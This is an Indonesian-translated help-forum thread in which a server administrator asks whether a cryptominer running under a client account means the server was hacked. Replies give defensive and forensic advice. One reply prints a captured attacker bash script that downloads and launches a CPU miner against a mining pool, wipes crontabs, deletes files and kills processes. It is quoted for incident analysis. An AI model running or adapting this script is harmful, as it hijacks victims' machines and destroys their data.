Sudahkah saya diretas?

8

Saya menjalankan dedicated server, di mana saya melihat penggunaan CPU yang tinggi baru-baru ini, dan memeriksa prosesnya. Tampaknya seseorang (akun mick) sedang menambang di server saya. Bagaimana ini mungkin? Prosesnya di bawah. Saya telah menangguhkan akun. Apa lagi yang harus saya lakukan?

25516 mick  30  10  778m 6728 1132 S 740.5  0.2   8463:59 /tmp/sh64 -o stratum+tcp://multi1.wemineall.com:80 -u weedee.1 -p x --algo scrypt -B
Booboo
sumber
periksa cronjobs untuk setiap pengguna.
TPS
5
Sedikit informasi lebih lanjut tentang apakah Anda membuat akun itu dan siapa yang memiliki akses akan sangat membantu. Jika Anda adalah satu-satunya yang harus memiliki akses, maka Anda mungkin diretas -> instal ulang dari awal.
Anthon
Ini adalah server web hosting menggunakan panel kontrol Plesk. Ada beberapa klien di server dengan berbagai domain dll.
Booboo
Klien tidak memiliki akses root ke server, hanya ftp
Booboo
2
Ini terlihat seperti penambang cryptocoin Scrypt.
TheDoctor

Jawaban:

11

Jika Anda menjalankan server web yang memungkinkan skrip sisi server (php, ruby, dll), ini sangat mudah dilakukan.

Yang harus dilakukan pengguna adalah membuat skrip yang mengunduh file untuk /tmp/sh64kemudian menjalankannya. Skrip web umumnya harus dapat menjalankan program eksternal, sehingga aktivitas seperti ini sulit dicegah.

Jika mickakun tersebut adalah akun yang sama yang digunakan untuk menjalankan skrip web pengguna, maka saya akan mengatakan bahwa tidak, Anda tidak diretas. Hanya pengguna yang menyalahgunakan akun mereka.

Jika Anda ingin mencegah perilaku ini, ada beberapa cara untuk mencegahnya. Anda dapat melarang panggilan program eksternal. Atau Anda dapat melakukan sesuatu seperti membunuh program yang berjalan lama (apa pun yang tersisa berjalan lebih dari 60 detik misalnya).
Tanpa mengetahui lebih detail tentang pengaturan Anda, tindakan terbaik sulit untuk ditentukan.

Patrick
sumber
1
Bagaimana saya melarang panggilan program eksternal
Booboo
Pilihan Anda beragam. Saya akan mengirim pertanyaan lain bertanya. Berikan detail bagaimana pengaturan server web Anda, dan bahasa skrip apa yang digunakan klien Anda. Chroot sederhana mungkin berfungsi, tetapi perlu detailnya.
Patrick
2

Saya punya masalah serupa. Mereka mengeksploitasi versi lama dari agen NRPE Nagios untuk menjalankan wgetskrip yang menginstal dan mengkonfigurasi penambang bitcoin dari Sourceforge (daemon NRPE telah dont_blame_nrpememungkinkan). Saya belum menemukan apa pun yang menunjukkan bahwa upaya pada mesin saya gigih.

Ini adalah skrip yang digunakan untuk instalasi dan pengaturan penambang Bitcoin:

#!/bin/bash

miner_path="/tmp/tester"
miner_path2="/tmp/var/tester"
miner_path3="/dev/shm/tester"
stratum="stratum+tcp://multi1.wemineall.com:80"
worker="weedee.1"
myproc=`ps x|grep "$stratum -u $worker"|grep -v grep`
name="work.sh"
if [ -z "$myproc" ]
then    
    system=`uname -a`
    i686=`echo $system|grep i686`
    if ! [ -z "$i686" ]
      then

url="http://downloads.sourceforge.net/project/cpuminer/pooler-cpuminer-2.3.2-linux-x86.tar.gz?r=http%3A%2F%2Fsourceforge.net%2Fprojects%2Fcpuminer%2Ffiles%2F&ts=1390664640&use_mirror=netcologne"
      else

url="http://downloads.sourceforge.net/project/cpuminer/pooler-cpuminer-2.3.2-linux-x86_64.tar.gz?r=http%3A%2F%2Fsourceforge.net%2Fprojects%2Fcpuminer%2Ffiles%2F&ts=1390664665&use_mirror=netcologne"
    fi

    dll=`wget -q -O $miner_path $url;tar zxvf $miner_path -C /var/tmp/;mv /var/tmp/minerd $miner_path;chmod +x $miner_path`
    spwn=`$miner_path -o $stratum -u $worker -p x --algo scrypt -B 2>/dev/null 1>/dev/null &`
    myproc=`ps x|grep "$stratum -u $worker"|grep -v grep`
    #Failed in /var/tmp/ trying in /dev/shm
    if [ -z "$myproc" ]
    then
        #dll=`wget $url -O $miner_path2;chmod +x $miner_path2`
        dll=`wget -q -O $miner_path2 $url;tar zxvf $miner_path2 -C /tmp/;mv /tmp/minerd $miner_path2;chmod +x $miner_path2`
        spwn=`$miner_path2 -o $stratum -u $worker -p x --algo scrypt -B 2>/dev/null 1>/dev/null &`      
    fi
    myproc=`ps x|grep "$stratum -u $worker"|grep -v grep`
    #Failed in /tmp/ trying in /tmp
    if [ -z "$myproc" ]
    then        
        dll=`wget -q -O $miner_path3 $url;tar zxvf $miner_path3 -C /dev/shm/;mv /dev/shm/minerd $miner_path3;chmod +x $miner_path3`
        spwn=`$miner_path3 -o $stratum -u $worker -p x --algo scrypt -B 2>/dev/null 1>/dev/null &`      
    fi  

myproc=`ps x|grep "$stratum -u $worker"|grep -v grep`
  crontab -r
 fi  
 crontab -r
rm -rf /var/tmp/*.sh
kill -9 `ps x | grep -v nagios | grep -v nrpe | grep -v PID | grep -v $name | grep -v tester | grep -v grep | awk '{print $1}'

Skrip ini sepenuhnya dijalankan sebagai pengguna Nagios, sehingga tidak memerlukan akses root.

mtak
sumber
2

Sistem Anda pasti telah dikompromikan atau paling buruk diretas. Ada cerita lain yang menggambarkan penambang serupa sedang diinstal.

Saya akan mengambil posisi bahwa sistem Anda telah dikompromikan dan memulai sesuatu yang kritis untuk memulai, sehingga Anda telah mencadangkannya jika belum dilakukan.

Analisis

Jika Anda penasaran bagaimana mereka masuk, Anda harus mendapatkan daftar lengkap layanan apa (web, mysql, dll.) Yang telah Anda instal dan lihat apakah ada eksploit aktif yang memungkinkan seseorang memperoleh hak istimewa yang lebih tinggi.

Saya akan mulai dengan pemberdayaan web apa pun yang merupakan aplikasi yang berbasis web. Biasanya, aplikasi ini dapat menjadi buffer overflowed dan akses untuk memodifikasi tumpukan server web sehingga aplikasi tambahan dapat diinstal.

Ini adalah kasus bahwa jenis kompromi ini dapat berupa insiden yang terisolasi, jadi cukup menghapus perangkat lunak yang menyinggung dan malware dapat cukup untuk membasmi tanpa harus menanggung biaya waktu untuk melakukan pemulihan penuh / pengaturan sistem.

Jika sistem ini dibangun menggunakan gambar berbasis VPS maka saya akan bekerja dengan penyedia, karena menambalnya sepertinya akan menjadi kepentingan terbaik mereka untuk semua pelanggan mereka.

Lebih dari sekadar kompromi tumpukan web

Semua yang ada di kotak harus diteliti dan pada dasarnya tidak dapat dipercaya, tapi saya akan mengambil sedikit waktu untuk melihat apakah Anda tidak tahu dari mana para penyerang masuk, jika memang ada. Mereka mungkin masuk menggunakan akun SSH yang ditambahkan ke sistem setelah kompromi.

Ini bisa menjadi tugas yang sulit, membutuhkan waktu berhari-hari untuk melakukan analisis, terutama jika Anda tidak dapat mempercayai alat apa pun di dalam kotak untuk membantu upaya ini. Saya akan mendorong siapa pun untuk mengambil waktu ini untuk memahami bagaimana sistem mereka dikompromikan sehingga Anda dapat mengurangi risiko itu terjadi lagi di masa depan, setidaknya melalui vektor khusus ini.

Jika ini bukan jenis masalah produksi, ini sebenarnya adalah kesempatan belajar yang baik untuk mendapatkan wawasan berharga tentang bagaimana sistem dapat dikompromikan dan akses dapat "ditingkatkan" oleh penyerang.

Lapisan perak?

Karena sistem ini digunakan untuk tujuan penambangan, kemungkinan mereka menggunakan set alat skrip otomatis, karena menyerang sistem yang cukup untuk mensetup penambang zombie sepertinya butuh banyak waktu. Ketika alat seperti ini digunakan, mereka biasanya jelek dalam konstruksi mereka, hanya hanya mencari untuk melakukan minimum untuk mendapatkan pijakan dan kemudian mengirimkan muatan mereka (perangkat lunak penambangan), sehingga Anda mungkin beruntung dan mendapatkan wawasan tambahan bagaimana mereka bisa masuk.

slm
sumber
4
Belum tentu. Jika server web memungkinkan skrip sisi server, dan mickakun itu adalah pengguna yang digunakan untuk menjalankan skrip, ini dapat dengan mudah dilakukan tanpa meretas server. Kekerasan, ya. Retas, tidak.
Patrick
@ Patrick - sangat benar, saya telah mengubah nilai A untuk mencerminkan hal ini. Terima kasih.
slm